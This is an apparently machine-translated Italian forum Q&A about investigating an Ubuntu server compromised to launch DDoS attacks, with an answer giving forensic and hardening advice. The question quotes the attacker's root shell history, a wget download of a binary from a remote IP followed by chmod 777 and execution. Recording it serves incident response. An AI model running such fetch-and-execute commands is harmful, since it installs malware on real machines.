Come può un server essere hackerato a parte la porta 80 o SSH?

Question

Come può un server essere hackerato a parte la porta 80 o SSH?

#1 da (4 voti)

3

Attualmente ho un server compromesso (Ubuntu) che sta eseguendo tutti i servizi nei container Docker, ma ho trovato oggi un programma dannoso che stava generando un attacco DDOS.

Ho controllato tutti i servizi in Docker e sono ok, non sono stati compromessi, ma l'host era. Ho trovato un file eseguibile /AAK in Ubuntu che penso fosse l'attacco DDOS, e ho trovato nella cronologia di root le seguenti voci:

netstat -antup
chmod 777 AA
wget http://211.142.203.242:7410/AAK
chmod 777 AAK
./AAK

È chiaro per me che era l'origine dell'attacco, e controllando le porte aperte sul server, una porta casuale 10XX era aperta da questo processo, e un altro processo dannoso aveva una porta aperta.

Un'altra porta aperta: 80 (nginx in un contenitore di Docker), 22 (SSH, NON usando la password, usando invece i tasti), e 111 (era aperto di default e usato da rpcbind).

Come posso verificare in che modo l'autore dell'attacco ha avuto accesso come root al server? Se l'applicazione in un contenitore Docker non era l'origine, cosa avrebbe potuto causare questa violazione?

Non voglio ricreare il server solo per essere hackerato di nuovo utilizzando la stessa vulnerabilità.

Modifica: ho dimenticato di dire che stavo usando il plug-in vagabondo digitale oceano.

webserver

posta IAmJulianAcosta 02.07.2016 - 23:15

fonte

1 risposta

Leggi altre domande sui tag webserver

PGP Key Signing Robot DKIM Email verificate Protezione di una chiave RSA privata per la distribuzione

score 4 · Answer 1

Ci sono diversi metodi che puoi investigare per rispondere alle tue domande.

Trova le versioni per SSHD, RPCbind e NGinx. Google ogni versione per eventuali exploit e vulnerabilità remote o locali. L'autore dell'attacco potrebbe benissimo aver utilizzato una combinazione di exploit o vulnerabilità locali e remoti e non un solo modo per entrare.
Guarda tutti i log importanti (accesso, SSH, Kernel, ecc.) e cerca di individuare il più vicino possibile quando il server è stato compromesso e possibilmente come.
Guarda i file di cronologia per tutti gli utenti, non solo per root.
Quando sono stati creati i file AA e AAK? Cerca nei registri del passaggio 2 almeno una settimana prima di quelle date e osserva attentamente.

Se si decide di ricostruire il server, suggerirei di scegliere il Kernel più aggiornato disponibile e chiudere RPCbind se non necessario. Limita SSH per utilizzare solo chiavi private (disabilitando anche tutte le password). È possibile installare molti programmi per verificare l'integrità del file subito dopo l'installazione.